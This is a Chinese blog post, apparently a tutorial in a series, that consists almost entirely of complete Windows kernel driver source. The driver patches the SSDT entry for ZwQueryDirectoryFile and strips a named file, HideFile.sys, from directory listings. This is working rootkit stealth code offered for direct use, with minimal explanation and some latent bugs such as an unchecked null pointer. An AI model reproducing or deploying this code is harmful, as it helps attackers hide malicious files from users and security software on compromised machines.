文件隐藏(三)

Hook ZwQueryDirectoryFile实现文件隐藏


隐藏文件, 主要是SSDT HOOK ZwQueryDirectoryFile函数.

#include <ntddk.h>

typedef BOOLEAN BOOL ;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec (dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;


// Our System Call Table
PVOID* NewSystemCallTable;

// Our Memory Descriptor List
PMDL pMyMDL;

#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

#define HOOK(functionName, newPointer2Function, oldPointer2Function ) \
oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (
LONG ) newPointer2Function)

#define UNHOOK(functionName, oldPointer2Function) \
InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (
LONG ) oldPointer2Function)

NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
)
{
NTSTATUS status;
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;

RtlInitAnsiString(&HideDirFile,
"HideFile.sys" );
KdPrint((
"NewZwQueryDirectoryFile called." ));

status = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
FileInformation,
Length,
FileInformationClass,
ReturnSingleEntry,
FileName,
RestartScan);

//这部分是隐藏文件的核心部分
if ( NT_SUCCESS(status) && FileInformationClass == FileBothDirectoryInformation )
{
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOLEAN bLastOne;

pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;
pLastFileInfo = NULL;

do
{
bLastOne = !( pFileInfo->NextEntryOffset );
RtlInitUnicodeString(&uniFileName, pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName, &uniFileName, TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName, &uniFileName, TRUE);

KdPrint((
"Hide File: %Z\n" , &ansiFileName));

if ( RtlCompareMemory(ansiFileName.Buffer, HideDirFile.Buffer, HideDirFile.Length ) == HideDirFile.Length)
{
if (bLastOne)
{
pLastFileInfo->NextEntryOffset = 0;
break ;
}
else //指针往后移动
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (
char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue ;
}
}

pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((
char *)pFileInfo + pFileInfo->NextEntryOffset);

}
while (!bLastOne);

RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}

return status;
}

NTSTATUS Hook( )
{
pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );

if ( !pMyMDL )
return ( STATUS_UNSUCCESSFUL );

MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

if ( !NewSystemCallTable )
return ( STATUS_UNSUCCESSFUL );

HOOK( ZwQueryDirectoryFile,NewZwQueryDirectoryFile ,OldZwQueryDirectoryFile);

return ( STATUS_SUCCESS );
}

NTSTATUS UnHook( )
{
if ( NewSystemCallTable )
{
UNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile );
MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
IoFreeMdl( pMyMDL );
}
return ( STATUS_SUCCESS );
}

NTSTATUS OnUnload(
IN PDRIVER_OBJECT DriverObject )
{
NTSTATUS status;
KdPrint((
"OnUnload called\n" ));
status = UnHook();
return status;
}

NTSTATUS DriverEntry(
IN PDRIVER_OBJECT theDriverObject,

IN PUNICODE_STRING theRegistryPath)

{
NTSTATUS status = STATUS_SUCCESS;

KdPrint((
"Enter DriverEntry!" ));

theDriverObject->DriverUnload = OnUnload;

Hook();

return STATUS_SUCCESS;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值